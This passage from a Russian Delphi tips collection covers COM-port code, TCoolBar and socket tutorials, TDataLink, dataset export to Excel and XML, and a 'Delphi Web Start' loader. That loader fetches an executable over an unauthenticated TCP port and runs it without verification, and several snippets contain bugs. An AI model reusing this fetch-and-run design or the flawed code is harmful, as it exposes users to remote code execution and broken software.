    property OnReceiveData: TNotifyEvent read FOnReceiveData
    write FOnReceiveData;
    property TimeOut: Integer read FTimeOut write FTimeOut default 30;
end;
procedure register;
implementation
procedure register;
begin
  RegisterComponents('Self-made Components', [TComportDriverThread]);
end;
{ TComportDriver }
constructor TComportDriverThread.Create(AOwner: TComponent);
begin
  inherited;
  FReceiving := False;
  FComportHandle := 0;
  FComportNumber := pnCOM1;
  FComportBaudRate := br9600;
  FComportDataBits := db8BITS;
  FComportStopBits := sb1BITS;
  FComportParity := ptNONE;
  FComportHwHandshaking := hhNONE;
  FComportSwHandshaking := shNONE;
  FComportInputBufferSize := 2048;
  FComportOutputBufferSize := 2048;
  FOnReceiveData := nil;
  FTimeOut := 30;
  FComportPollingDelay := 500;
  GetMem(FTempInputBuffer,FComportInputBufferSize);
  if csDesigning in ComponentState then
    Exit;
  FTimer := TTimerThread.Create(False);
  FTimer.FOnTimer := TimerEvent;
  if FComPortActive then
    FTimer.Enabled := True;
  FTimer.SupRes;
end;
destructor TComportDriverThread.Destroy;
begin
  Disconnect;
  FreeMem(FTempInputBuffer,FComportInputBufferSize);
  inherited Destroy;
end;
function TComportDriverThread.Connect: Boolean;
var
  comName: array[0..4] of Char;
  tms: TCommTimeouts;
begin
  if Connected then
    Exit;
  StrPCopy(comName,'COM');
  comName[3] := chr(ord('1') + ord(FComportNumber));
  comName[4] := #0;
  FComportHandle := CreateFile(comName,GENERIC_READ or GENERIC_WRITE,0,nil,
  OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
  if not Connected then
    Exit;
  ApplyComPortSettings;
  tms.ReadIntervalTimeout := 1;
  tms.ReadTotalTimeoutMultiplier := 0;
  tms.ReadTotalTimeoutConstant := 1;
  tms.WriteTotalTimeoutMultiplier := 0;
  tms.WriteTotalTimeoutConstant := 0;
  SetCommTimeouts(FComportHandle,tms);
  Sleep(1000);
end;
function TComportDriverThread.Connected: Boolean;
begin
  Result := FComportHandle > 0;
end;
function TComportDriverThread.Disconnect: Boolean;
begin
  Result := False;
  if Connected then
  begin
    CloseHandle(FComportHandle);
    FComportHandle := 0;
  end;
  Result := True;
end;
function TComportDriverThread.Disconnected: Boolean;
begin
  if (FComportHandle <> 0) then
    Result := False
  else
    Result := True;
end;
const
  Win32BaudRates: array[br110..br115200] of DWORD =
  (CBR_110,CBR_300,CBR_600,CBR_1200, CBR_2400,CBR_4800,CBR_9600,CBR_14400,
  CBR_19200,CBR_38400,CBR_56000,CBR_57600,CBR_115200);
const
  dcb_Binary = $00000001;
  dcb_ParityCheck = $00000002;
  dcb_OutxCtsFlow = $00000004;
  dcb_OutxDsrFlow = $00000008;
  dcb_DtrControlMask = $00000030;
  dcb_DtrControlDisable = $00000000;
  dcb_DtrControlEnable = $00000010;
  dcb_DtrControlHandshake = $00000020;
  dcb_DsrSensitvity = $00000040;
  dcb_TXContinueOnXoff = $00000080;
  dcb_OutX = $00000100;
  dcb_InX = $00000200;
  dcb_ErrorChar = $00000400;
  dcb_NullStrip = $00000800;
  dcb_RtsControlMask = $00003000;
  dcb_RtsControlDisable = $00000000;
  dcb_RtsControlEnable = $00001000;
  dcb_RtsControlHandshake = $00002000;
  dcb_RtsControlToggle = $00003000;
  dcb_AbortOnError = $00004000;
  dcb_Reserveds = $FFFF8000;
procedure TComportDriverThread.ApplyComPortSettings;
var
  //Device Control Block (= dcb)
  dcb: TDCB;
begin
  if not Connected then
    Exit;
  FillChar(dcb,sizeOf(dcb),0);
  dcb.DCBlength := sizeOf(dcb);
  dcb.Flags := dcb_Binary or dcb_RtsControlEnable;
  dcb.BaudRate := Win32BaudRates[FComPortBaudRate];
  case FComportHwHandshaking of
    hhNONE : ;
    hhRTSCTS:
    dcb.Flags := dcb.Flags or dcb_OutxCtsFlow or dcb_RtsControlHandshake;
  end;
  case FComportSwHandshaking of
    shNONE : ;
    shXONXOFF:
    dcb.Flags := dcb.Flags or dcb_OutX or dcb_Inx;
  end;
  dcb.XonLim := FComportInputBufferSize div 4;
  dcb.XoffLim := 1;
  dcb.ByteSize := 5 + ord(FComportDataBits);
  dcb.Parity := ord(FComportParity);
  dcb.StopBits := ord(FComportStopBits);
  dcb.XonChar := #17;
  dcb.XoffChar := #19;
  SetCommState(FComportHandle,dcb);
  SetupComm(FComportHandle, FComPortInputBufferSize,FComPortOutputBufferSize);
end;
function TComportDriverThread.ReadString(var Str: string): Integer;
var
  BytesTrans, nRead: DWORD;
  Buffer : string;
  i : Integer;
  temp : string;
begin
  BytesTrans := 0;
  Str := '';
  SetLength(Buffer,1);
  ReadFile(FComportHandle,PChar(Buffer)^, 1, nRead, nil);
  while nRead > 0 do
  begin
    temp := temp + PChar(Buffer);
    ReadFile(FComportHandle,PChar(Buffer)^, 1, nRead, nil);
  end;
  //Remove the end token.
  BytesTrans := Length(temp);
  SetLength(str,BytesTrans-2);
  for i:=0 to BytesTrans-2 do
  begin
    str[i] := temp[i];
  end;
  Result := BytesTrans;
end;
function TComportDriverThread.SendData(DataPtr: Pointer;
DataSize: Integer): Boolean;
var
  nsent : DWORD;
begin
  Result := WriteFile(FComportHandle,DataPtr^,DataSize,nsent,nil);
  Result := Result and (nsent = DataSize);
end;
function TComportDriverThread.SendString(Input: string): Boolean;
begin
  if not Connected then
    if not Connect then
      raise Exception.CreateHelp('Could not connect to COM-port !',101);
  Result := SendData(PChar(Input),Length(Input));
  if not Result then
    raise Exception.CreateHelp('Could not send to COM-port !',102);
end;
procedure TComportDriverThread.TimerEvent;
var
  InQueue, OutQueue: Integer;
  Buffer : string;
  nRead : DWORD;
  procedure DataInBuffer(Handle: THandle; var aInQueue, aOutQueue: Integer);
  var
    ComStat : TComStat;
    e : Cardinal;
  begin
    aInQueue := 0;
    aOutQueue := 0;
    if ClearCommError(Handle,e,@ComStat) then
    begin
      aInQueue := ComStat.cbInQue;
      aOutQueue := ComStat.cbOutQue;
    end;
  end;
begin
  if csDesigning in ComponentState then
    Exit;
  if not Connected then
    if not Connect then
      raise Exception.CreateHelp('TimerEvent: Could not connect to COM-port !',101);
  Application.ProcessMessages;
  if Connected then
  begin
    DataInBuffer(FComportHandle,InQueue,OutQueue);
    if InQueue > 0 then
    begin
      if (Assigned(FOnReceiveData) ) then
      begin
        FReceiving := True;
        FOnReceiveData(Self);
      end;
    end;
  end;
end;
procedure TComportDriverThread.SetComportBaudRate(Value: TComPortBaudRate);
begin
  FComportBaudRate := Value;
  if Connected then
    ApplyComPortSettings;
end;
procedure TComportDriverThread.SetComportDataBits(Value: TComPortDataBits);
begin
  FComportDataBits := Value;
  if Connected then
    ApplyComPortSettings;
end;
procedure TComportDriverThread.SetComportHwHandshaking(Value: TComportHwHandshaking);
begin
  FComportHwHandshaking := Value;
  if Connected then
    ApplyComPortSettings;
end;
procedure TComportDriverThread.SetComportInputBufferSize(Value: Word);
begin
  FreeMem(FTempInputBuffer,FComportInputBufferSize);
  FComportInputBufferSize := Value;
  GetMem(FTempInputBuffer,FComportInputBufferSize);
  if Connected then
    ApplyComPortSettings;
end;
procedure TComportDriverThread.SetComportNumber(Value: TComPortNumber);
begin
  if Connected then
    exit;
  FComportNumber := Value;
end;
procedure TComportDriverThread.SetComportOutputBufferSize(Value: Word);
begin
  FComportOutputBufferSize := Value;
  if Connected then
    ApplyComPortSettings;
end;
procedure TComportDriverThread.SetComportParity(Value: TComPortParity);
begin
  FComportParity := Value;
  if Connected then
    ApplyComPortSettings;
end;
procedure TComportDriverThread.SetComportPollingDelay(Value: Word);
begin
  FComportPollingDelay := Value;
end;
procedure TComportDriverThread.SetComportStopBits(Value: TComPortStopBits);
begin
  FComportStopBits := Value;
  if Connected then
    ApplyComPortSettings;
end;
procedure TComportDriverThread.SetComportSwHandshaking(Value: TComPortSwHandshaking);
begin
  FComportSwHandshaking := Value;
  if Connected then
    ApplyComPortSettings;
end;
procedure TComportDriverThread.DoDataReceived;
begin
  if Assigned(FOnReceiveData) then
    FOnReceiveData(Self);
end;
procedure TComportDriverThread.SetComPortActive(Value: Boolean);
var
  DumpString : string;
begin
  FComPortActive := Value;
  if csDesigning in ComponentState then
    Exit;
  if FComPortActive then
  begin
    //Just dump the contents of the input buffer of the com-port.
    ReadString(DumpString);
    FTimer.Enabled := True;
  end
  else
    FTimer.Enabled := False;
  FTimer.SupRes;
end;
{ TTimerThread }
procedure TTimerThread.Execute;
begin
  Priority := tpNormal;
  repeat
    Sleep(500);
    if Assigned(FOnTimer) then
      Synchronize(FOnTimer);
  until
    Terminated;
end;
procedure TTimerThread.SupRes;
begin
  if not Suspended then
    Suspend;
  if FEnabled then
    Resume;
end; 
end.

Использование компонента TCoolBar или как создавать кульные панели инструментов.

Оформил: DeeCo

(Перевод одноимённой статьи с сайта delphi.about.com)

Большинство современных приложений Windows имеют несколько панелей инструментов (тулбаров). В их числе, такие распространённые программные продукты как Microsoft Internet Explorer, MS Word и Delphi IDE. В этой статье рассказывается о компоненте-контейнере CoolBar, который может содержать другие компоненты, такие как тулбары, выпадающие списки и т.д.

TCoolBar Статьи по Delphi (017)… Компонент TCoolBar, это новая разновидность TToolBar. TCoolBar это элемент управления, который обычно содержит в себе два или более TCoolBand-ов, размеры и местоположение которых можно изменять во время выполнения программы. CoolBand в свою очередь является областью элемента управления, которая может содержать другие оконные контролы, главным образом панели инструментов, окошки редактирования, выпадающие списки и анимация.

Создать coolbar довольно просто: достаточно поместить компонент CoolBar из набора Win32 VCL на форму. У CoolBar-а есть довольно много настроек (настройка осуществляется через свойства): Align - по умолчанию, расположение Coolbar настроено на верхнюю часть окна, поэтому, чтобы изменить расположение кулбара, нам прийдётся подредактировать это свойство; Bitmap - используется для закрашивания фона CoolBar-а картинкой; свойство FixedOrder определяет, может ли пользователь переопределить порядок панелей.

Статьи по Delphi (017)…

TCoolBand

Статьи по Delphi (017)…

Как уже упоминалось выше, компонент Coolbar, это обычно набор объектов TCoolBand. Чтобы добавить несколько CoolBand-ов в CoolBar, нам потребуется вызвать редактор Coolbar Band-ов. Сделать это можно путём нажатия на значёк, расположенный сразу после свойства Bands.

Один из способов разместить компонент (или компонент-контейнер) на CoolBar-е, это перетащить его из палитры VCL, при этом автоматически создастся новый band для хранения компонента. Другой способ заключается в том, что компонент вставляется в форму напрямую, а затем, при помощи редактора CoolBar Band-ов связывается с каким либо CoolBand-ом. Далее на кулбар обычно добавлется Toolbar, путём простого перетаскивания его из палитры Win32 на Coolbar. Потом на тулбар добавляются одна или несколько кнопок.

Самая интересная возможность CoolBar-а, это то, что он может содержать в себе элементы управления, отличные от кнопок.

Давайте перетащим на CoolBar выпадающий список, окошко редактирования и один элемент анимации. Предположим, что у нас на форме присутствует компонент memo с некоторым текстом. Например, мы можем использовать окно редактирования для установки размера шрифта, выпадающий список для установки названия шрифта, а анимацию для отображения каких-либо событий, происходищих в программе.

Статьи по Delphi (017)…

Во время выполнения программы пользователь может изменять местоположение элементов управления путём перемещения и, тем самым меняя размер.

Вам хочется добавить ещё компонентов ? Как упоминалось выше, на CoolBar можно добавлять различные оконные компоненты. Оконные компоненты, это те, которые наследованы от TWinControl. Это значит, что Labels и Shapes, например, не получится добавить на CoolBar. Однако, если внимательно посмотреть на Delphi IDE, то можно обнаружить, что coolbar может так же содержать меню, хотя меню и не является оконным компонентом. Значит должен быть способ добавлять на кулбар неоконные компоненты!

Кульные менюшки на Cool Band-ах Итак, сперва, нам необходимо разместить на форме компонент MainMenu и добавить в него пункты при помощи Menu designer. Обратите внимание, что когда мы помещаем компонент TMainMenu на форму, то значение свойства формы Menu устанавливается в MainMenu1. Нам необходимо очистить это свойство и тем самым отключить объект MainMenu от формы, потому что нам необходимо использовать его в Coolbar-е. Далее, добавляем Toolbar в Coolbar а так же добавляем несколько ToolButton - один ToolButton для каждого выпадающего меню. Если, например, у Вас два меню верхнего уровня File и Edit, то добавить необходимо всего два ToolButton-а. Далее, устанавливаем свойства тулбара. Flat и ShowCaptions устанавливаем в True. Свойства AutoSize и Grouped компонента ToolButton так же должны быть установлены в True. И, в заключение, соединяем каждую кнопку с выпадающим меню, используя для этого свойство MenuItem.

Вот так должен выглядеть результат проделанных шагов (запущенная программа): Статьи по Delphi (017)…

Немного программирования Во время выполнения приложения, можно добавлять CoolBand-ы. Следующий код, добавляет CoolBand на CoolBar с размещённым на нём TDateTimePicker.

procedure CreateDatePickerOnCoolBar;
var dtPick: TDateTimePicker;
begin
 dtPick := TDateTimePicker.Create(CoolBar1);
 dtPick.Parent := CoolBar1;
 CoolBar1.Bands.Items[Count-1].Text := 'Pick a date';
 ...
end;

ЗАМЕЧАНИЕ: как упоминалось раньше, размещение контрола в кулбаре заставляет объект TCoolBar создать TCoolBand и поместить элемент управления в band-е. При помощи "CoolBar1.Bands.Items[count - 1]" мы связываем текст с последним созданным TCoolBand. ЗАМЕЧАНИЕ2: Память компонента TDateTimePicker автоматически освобождается при освобождении памяти родителя. Происходит это, когда приложение завершается и CoolBar уничтожается формой.

Процедура CreateDatePickerOnCoolBar всего навсего создаёт TDateTimePicker на кулбаре CoolBar. Для того, чтобы использовать события TDateTimePicker, нам необходимо создать процедуры обработчиков событий. Не будем вдаваться в подробности создания объектов в Delphi. Для создания обработчика события для TDateTimePicker, нам необходимо написать метод (процедуру) некоторого объекта (обычно для этого выбирают главную форму) с таким же количеством параметров, с такими же типами и именами параметров. Затем, в коде, измените имя процедуры на такое же имя свойства TDateTimePicker, обрабатывать которое Вы хотите. После этого новая процедура автоматически станет обработчиком события для этого объекта.

В конце процедуры CreateDatePickerOnCoolBar добавьте.

 ...
 dtPick.OnCloseUp := dtpOnCloseUp;

OnCloseUp происходит, когда выпадающий календарь закрывается. А теперь используем это событие, чтобы передать дату из DateTimePicker в компонент Memo:

procedure TForm1.dtpOnCloseUp(Sender: TObject);
begin
 Memo1.Lines.Add
 (DateToStr((Sender as TDateTimePicker).Date));
end;

Не забудьте разместить объявление процедуры dtpOnCloseUp секции интерфейса (interface) юнита формы (private или public).

TControlBar TCoolBar это стандартный Win32 элемент управления, который является частью операционной системы. Проверьте, присутствует ли компонент TControlBar на дополнительной закладке набора компонент. TControlBar это родной компонент VCL, который работает практически так же как и кул бар. Этот компонент не использует в своей работе COMCTL32.DLL, как это делает TCoolBar, поэтому менее восприимчив к прихотям Microsoft.

Ссылки См. демонстрашку Webbrows Delphi в директории coolstuf которая демонстрирует использование TCoolbar.

Компонент TMenubar. Это потомок TToolbar, имеющий свойство меню, которое позволяет связывать TMainMenu с панелью инструментов (toolbar). После этого компонент включает все пункты меню в тулбар.

Сделать загрузчик приложения через TCP.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
Loading Delphi apps without a browser and on Win as Linux as well needs a 
decision once. 
With a loader on the client side, no further installation is in charge. 
We had the requirement starting different Delphi apps from a 
linux or windows server, wherever you are. 
We call it Delphi Web Start (DWS). 
The dws-client gets a list and after clicking on it, the app is 
loading from server to client with just a stream. 
First we had to choose between a ftp and a tcp solution. The 
advantage of tcp is the freedom to define a separate port, which 
was "services, port 9010 - DelphiWebStart". 
You will need indy. Because it is simple to use and very fast. 
The tcp-server comes from indy which has one great advantage: 
CommandHandlers is a collection of text commands that will be 
processed by the server. This property greatly simplify the 
process of building servers based on text protocols. 
First we start with DWS_Server, 
so we define two command handlers: 
}
 CTR_LIST = 'return_list';
 CTR_FILE = 'return_file';
 { 
By starting the tcp-server it returns with the first command 
handler "CTR_LIST" a list of the apps: 
}
 procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
 ...
 // comes with writeline from client 
if sRequest = CTR_LIST then begin
   for idx:= 0 to meData.Lines.Count - 1 do
   athread.Connection.WriteLn(ExtractFileName(meData.Lines[idx]));
   aThread.Connection.WriteLn('::END::');
   aThread.Connection.Disconnect;
 { 
One word concerning the thread: 
In the internal architecture there are 2 threads categories. 
First is a listener thread that "listen" and waits for a 
connection. So we don't have to worry about threads, the built in 
thread will be served by indy though parameter: 
}
 IdTCPServer1Execute(AThread: TIdPeerThread)
 { 
When our dws-client is connected, this thread transfer all the 
communication operations to another thread. 
This technique is very efficient because your client application 
will be able to connect any time, even if there are many 
different connections to the server. 
}
 //The second command "CTR_FILE" transfers the app to the client: 
if Pos(CTR_FILE, sRequest) > 0 then begin
     iPos := Pos(CTR_FILE, sRequest);
     FileName := GetFullPath(FileName);
     if FileExists(FileName) then begin
       lbStatus.Items.Insert(0, Format('%-20s %s',
         [DateTimeToStr(now), 'Transfer starts ...']));
      FileStream := TFileStream.Create(FileName, fmOpenRead +
      fmShareDenyNone);
      aThread.Connection.OpenWriteBuffer;
      aThread.Connection.WriteStream(FileStream);
      aThread.Connection.CloseWriteBuffer;
      FreeAndNil(FileStream);
      aThread.Connection.Disconnect;
 { 
Now let's have a look at the client side. The client connects to 
the server, using the connect method of TIdTcpClient. In this 
moment, the client sends any command to the server, in our case 
(you remember DelphiWebStart) he gets the list of available apps: 
}
     with IdTCPClient1 do begin
       if Connected then DisConnect;
       showStatus;
       Host:= edHost.Text;
       Port:= StrToInt(edPort.Text);
       Connect;
       WriteLn(CTR_LIST);
 //After clicking on his choice, the app will be served: 
with IdTCPClient1 do begin
 ExtractFileName(lbres.Items[lbres.ItemIndex])]));
 WriteLn(CTR_FILE + lbres.Items[lbres.ItemIndex]);
 FileName:= ExpandFileName(edPath.Text + '/' +
 ExtractFileName(lbres.Items[lbres.ItemIndex]));
 ...
 FileStream := TFileStream.Create(FileName, fmCreate);
    while connected do begin
      ReadStream(FileStream, -1, true);
   ....
     {$IFDEF LINUX}
         execv(pchar(filename),NIL);
       //libc.system(pchar(filename)); 
     {$ENDIF}
      {$IFDEF MSWINDOWS}
      // shellapi.WinExec('c:\testcua.bat', SW_SHOW); 
     with lbstatus.items do begin
        case  shellapi.shellExecute(0,'open', pchar(filename), '',NIL,
                     SW_SHOWNORMAL) of
          0: insert(0, 'out of memory or resources');
          ERROR_BAD_FORMAT: insert(0, 'file is invalid in image');
          ERROR_FILE_NOT_FOUND: insert(0,'file was not found');
          ERROR_PATH_NOT_FOUND: insert(0,'path was not found');
        end;
        Insert(0, Format('%-20s %s',
                [DateTimeToStr(now), filename + ' Loaded...']));
      end
      {$ENDIF}
 { 
One note about execution on linux with libc-commands; there will 
be better solutions (execute and wait and so on) and we still 
work on it, so I'm curious about comments on 
   "Delphi Web Start" 
therfore my aim is to publish improvments in a basic framework on 
sourceforge.net depends on your feedback ;) 
Many thanks to Dr. Karlheinz Morth with a first glance. 
Test your server with the telnet program. Type telnet 
hostname:9010 and then: 'return_list' and you'll get the list 
from the apps you defined in a txt-file on the server. 
}
 meData.Lines.LoadFromFile(ExpandFileName(FILE_PATH));
 { 
I know that we haven't implement an error handling procedure, 
but for our scope this example is almost 
sufficient. 
Code is available: http://max.kleiner.com/download/dws.zip 
}

Организация связи между компьютерами через TCP и IP протокол.

Оформил: DeeCo

Автор: CyANiD.

Конечно, перед вами наверняка вставала проблема организации связи, ну или хотя бы вы желали установить её для разных целей..:).

Я попробую вам помочь. Для плодотворной работы у вас должны быть хоть какие-нибудь навыки программирования на Delphi, вы должны хоть чуть-чуть знать о TCP/IP и как это работает, ну и самое главное - сокеты. Может конечно попозже вы разберетесь, что это такое, но эту статью я рассчитываю на тех людей, кто хоть слышал это слово...

Программируя на Delphi, я писал различные программы, но вскоре стал интересоваться, как организовать связь между компьютерами, как переслать информацию. Стал лазить по всей палитре компонентов и увидел что-то похожее на розетку, в которую втыкают шнур, и розетку, которую очень бережно держит чья-то рука. Как потом после чтения Неlр'а оказалось, что это компоненты для работы с сокетами. На тот момент я уже имел представления о них, поэтому понял сразу, что это то, что мне нужно. Эти компоненты называются TClientSocket и TServerSocket. Как понятно из названий, один обеспечивает серверную часть, другой клиентскую.

Чтобы подсоединить клиент к серверу, клиенту необходимо указать адрес сервера (IP-адрес или имя). Это свойства Address (IP) и Host (Имя). В целом присоединиться можно только по одному параметру, но по IP - быстрее. Сами подумайте почему...

Еще одним главным параметром является рабочий порт сервера. Кстати заметьте, что в TServerSocket его необходимо указывать тоже. Как уже наверное вы поняли, указанный порт в клиенте должен совпадать с портом, указанного у сервера. Для обычной связи остальные параметры можно не менять. Я бы сказал их вообще лучше даже не менять.

Возникает резонный вопрос, так как все же присоединиться. Чтобы это осуществить, сначала запускаем сервер. Делаеться это просто: в обработчике событий (любом, будь то onClick или onCreate) пишем "ServerSocket1.Active:=True;". Тем самым мы запустили сервер. Чтобы присоединить клиент делаем тоже самое для TClientSocket.

Какие события обрабатываются при подсоединении, отсоединении, ошибке, я думаю вы поймете сами. Интересней, какие события возникают при получении информации. Когда сервер получает информацию обрабатываеться onClientRead, хотя интуиция склоняет в сторону onClientWrite. Здесь она неправа.

procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket:
  TCustomWinSocket);
var
  Str: string;
  RemIP: string;
begin
  RemIP := Socket.RemoteAddress;
  Str := Socket.ReceivedText;
end;

После этого в переменной Str содержится полученное сообщение(текстовое), а в переменной RemIP - адрес отправителя сообщения.

Для посылки сообщения с сервера клиентам следует написать процедуру.

procedure TForm1.SendMes(Text: String);
var
  i: byte;
begin
  with ServerSocket1.Socket do
  begin
    if ActiveConnections&gt;
    0 then
      for i := 0 to ActiveConnections - 1 do
      try
        Connections[i].SendText(Text);
        Application.ProcessMessages;
      except
        //
      end;
  end; {/WITH}
end;

ServerSocket1.Socket.Connections - это массив всех сокетных соединений. Можно конечно работать с каждам отдельно...

У TClientSocket дело обстоит примерно также, поэтому описывать его не стану. Скажу, что у клиента при получении информации обрабатываеться onRead...

Позже напишу статью о том, как пересылать через сокеты любую информацию, не только текстовую, а также как пересылать потоки...

Каким драйвером пользуется TDATABASE.

Вы можете использовать вызов IDAPI dbiGetDatabaseDesc. Вот быстрая справка (не забудьте добавить DB в список используемых модулей):

var
  pDatabase: DBDrsc:
begin
  { pAlias - PChar, содержащий имя псевдонима }
  dbiGetDatabaseDesc ( pAlias, @pDatabase ) ;

Для получения дополнительной информации обратитесь к описанию свойства pDatabase.szDbType.

Информация о TDataLink.

Автор: James Thorpe (CSA Australasia) Вот тексовое описание TDatalink, которое взято из моего учебного материала. Оригинал имеет еще несколько диаграмм и рисунков, которые не могут быть включены в данный совет. Также рекомендую заглянуть в исходный код модуля DB.PAS. TFieldDatalink - производный класс от TDataLink, являющийся базовым классом для объекта, используемого компонентами для работы с базами данных и осуществляющий функцию связи с набором данных DataSet (TTable или TQuery). DataLink используется DаtаSеt'ом для информирования всех БД-компонентов об изменении записи, о необходимости обновления записи перед помещением ее в базу данных, о том, что DataSet сменила свое состояние на активное или неактивное, и т.д.. И наоборот, DataLink используется БД-компонентами для обновления DataSet, например, его статуса. DataSet может быть связан с несколькими источниками данных DataSource, каждый DataSource может быть связан с несколькими DataLink, и каждый DataLink может быть связан с единственным БД-компонентом. В большинстве случаев, отдельный компонент использует только один DataLink, тем не менее, имеются компоненты, такие как, например, DBLookupList или DBLookupCombo, использующих два DataLink. В этих элементах управления первый DataLink используется для чтения данных из lookup DataSet, второй DataLink используется для записи этих данных (при их изменении) во второй имеющийся DataSet. Каждый DataSet поддерживает связанный с ним список DataSource и, аналогично этому, каждый DataSource поддерживает список связанных с ним Dаtаlinк'ов. В момент, когда DataSet должен уведомить БД-компоненты о наступлении какого-то события, например, при изменении пользователем какой-либо записи, он рассылает это сообщение всем DataSource, находящимся в его списке. Каждый DataSource затем повторяет этот процесс и рассылает сообщение всем Dаtаlinк'ам, находящимся в его списке. Другими словами, связь не зависит от элемента управления, при этом логика программирования должна отслеживать передачу сообщения каждому элементу управления, пользующемуся услугами DataLink и изолировать только те события, на которые элементу необходимо отреагировать. Связывая компонент с набором данных другим способом, мы не получим в свое распоряжение столько управляющих функций, гибкости и мониторинга, сколько даст нам один DataSet, соединенный с помощью DataLink.

Кроме функции обеспечения поддержания коммуникационного канала между DataSet и ДБ-компонентами, DataLink также обеспечивает управление буфером для каждого компонента. Большинство элементов управления, таких как, например, TDBEdit, отображающий только отдельно взятую запись, буферизация не требуется, тем не менее, таким компонентам, как, например, TDBGrid и TDBLookupList, отображающим множество записей, буферизация нужна. Физически DataLink данные не буферизирует, эта функция выполняется DataSet. Всесто этого DataLink поддерживает виртуальный буфер, который, в сущности, небольшое "окно" в физический буфер DataSet. Размер этого виртуального буфера может быть установлен с помощью свойства DataLinks BufferCount, а количество записей, реально в нем хранимых, с помощью свойства RecordCount.

Записать TDataSet в Excel файл.

{....} 
uses DB; 
{....} 
  private 
    procedure SendToExcel(aDataSet: TDataSet); 
{....} 
uses 
  ComObj, ActiveX, Excel2000; // or Excel97 
procedure TForm1.SendToExcel(aDataSet: TDataSet); 
var 
  PreviewToExcel: TExcelApplication; 
  RangeE: Excel2000.Range; //or RangeE: Excel97.Range 
  I, Row: Integer; 
  Bookmark: TBookmarkStr; 
begin 
  PreviewToExcel := TExcelApplication.Create(Self); 
  PreviewToExcel.Connect; 
  PreviewToExcel.Workbooks.Add(NULL, 0); 
  RangeE := PreviewToExcel.ActiveCell; 
  
  for I := 0 to aDataSet.Fields.Count - 1 do 
  begin 
    RangeE.Value := aDataSet.Fields[I].DisplayLabel; 
    RangeE := RangeE.Next; 
  end; 
  aDataSet.DisableControls; 
  try 
    Bookmark := aDataSet.Bookmark; 
    try 
      aDataSet.First; 
      Row := 2; 
      while not aDataSet.EOF do 
      begin 
        //Write down Record As Row in msExcel 
        RangeE := PreviewToExcel.Range['A' + IntToStr(Row), 'A' + IntToStr(Row)]; 
        for I := 0 to aDataSet.Fields.Count - 1 do 
        begin 
          RangeE.Value := aDataSet.Fields[I].AsString; 
          RangeE := RangeE.Next; 
        end; 
        aDataSet.Next; 
        Inc(Row); 
      end; 
    finally 
      aDataSet.Bookmark := Bookmark; 
    end; 
  finally 
    aDataSet.EnableControls; 
  end; 
  //Creating Preview from Range A1..ColumnX 
  //Calculating ASCII 64 (Character Before "A") With Dataset FieldsCount 
  //This Method can only handle range A1..Z?, if want to be excel column type 
  //support, exp "AA"/"IV" 
  RangeE := PreviewToExcel.Range['A1', chr(64 + aDataSet.Fields.Count) + IntToStr(Row - 1)]; 
  RangeE.AutoFormat(8, NULL, NULL, NULL, NULL, NULL, NULL); 
  PreviewToExcel.Visible[0] := True; 
  PreviewToExcel.Disconnect; 
end; 
// Beispiel: 
// Example: 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  SendToExcel(Table1); 
end;

Экспорт TDataSet в XML файл.

Как программист узнает о ядерной войне? Выглядит это примерно так: Pinging calf.bk.ru [212.188.13.93] with 32 bytes of data: Request timed out. Request timed out. Request timed out. Request timed out. Ping statistics for 1.1.1.1: Packets: Sent = 4, Received = 0, Lost = 4 (100% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms
{Unit to export a dataset to XML} 
unit DS2XML; 
interface 
uses 
  Classes, DB; 
procedure DatasetToXML(Dataset: TDataSet; FileName: string); 
implementation 
uses 
  SysUtils; 
var 
  SourceBuffer: PChar; 
procedure WriteString(Stream: TFileStream; s: string); 
begin 
  StrPCopy(SourceBuffer, s); 
  Stream.Write(SourceBuffer[0], StrLen(SourceBuffer)); 
end; 
procedure WriteFileBegin(Stream: TFileStream; Dataset: TDataSet); 
  function XMLFieldType(fld: TField): string; 
  begin 
    case fld.DataType of 
      ftString: Result   := '"string" WIDTH="' + IntToStr(fld.Size) + '"'; 
      ftSmallint: Result := '"i4"'; //?? 
      ftInteger: Result  := '"i4"'; 
      ftWord: Result     := '"i4"'; //?? 
      ftBoolean: Result  := '"boolean"'; 
      ftAutoInc: Result  := '"i4" SUBTYPE="Autoinc"'; 
      ftFloat: Result    := '"r8"'; 
      ftCurrency: Result := '"r8" SUBTYPE="Money"'; 
      ftBCD: Result      := '"r8"'; //?? 
      ftDate: Result     := '"date"'; 
      ftTime: Result     := '"time"'; //?? 
      ftDateTime: Result := '"datetime"'; 
      else 
    end; 
    if fld.Required then 
      Result := Result + ' required="true"'; 
    if fld.ReadOnly then 
      Result := Result + ' readonly="true"'; 
  end; 
var 
  i: Integer; 
begin 
  WriteString(Stream, '<?xml version="1.0" standalone="yes"?><!-- Generated by SMExport -->  ' + 
    '<DATAPACKET Version="2.0">'); 
  WriteString(Stream, '<METADATA><FIELDS>'); 
  {write th metadata} 
  with Dataset do 
    for i := 0 to FieldCount - 1 do 
    begin 
      WriteString(Stream, '<FIELD attrname="' + 
        Fields[i].FieldName + 
        '" fieldtype=' + 
        XMLFieldType(Fields[i]) + 
        '/>'); 
    end; 
  WriteString(Stream, '</FIELDS>'); 
  WriteString(Stream, '<PARAMS DEFAULT_ORDER="1" PRIMARY_KEY="1" LCID="1033"/>'); 
  WriteString(Stream, '</METADATA><ROWDATA>'); 
end; 
procedure WriteFileEnd(Stream: TFileStream); 
begin 
  WriteString(Stream, '</ROWDATA></DATAPACKET>'); 
end; 
procedure WriteRowStart(Stream: TFileStream; IsAddedTitle: Boolean); 
begin 
  if not IsAddedTitle then 
    WriteString(Stream, '<ROW'); 
end; 
procedure WriteRowEnd(Stream: TFileStream; IsAddedTitle: Boolean); 
begin 
  if not IsAddedTitle then 
    WriteString(Stream, '/>'); 
end; 
procedure WriteData(Stream: TFileStream; fld: TField; AString: ShortString); 
begin 
  if Assigned(fld) and (AString <> '') then 
    WriteString(Stream, ' ' + fld.FieldName + '="' + AString + '"'); 
end; 
function GetFieldStr(Field: TField): string; 
  function GetDig(i, j: Word): string; 
  begin 
    Result := IntToStr(i); 
    while (Length(Result) < j) do 
      Result := '0' + Result; 
  end; 
var  
  Hour, Min, Sec, MSec: Word; 
begin 
  case Field.DataType of 
    ftBoolean: Result := UpperCase(Field.AsString); 
    ftDate: Result    := FormatDateTime('yyyymmdd', Field.AsDateTime); 
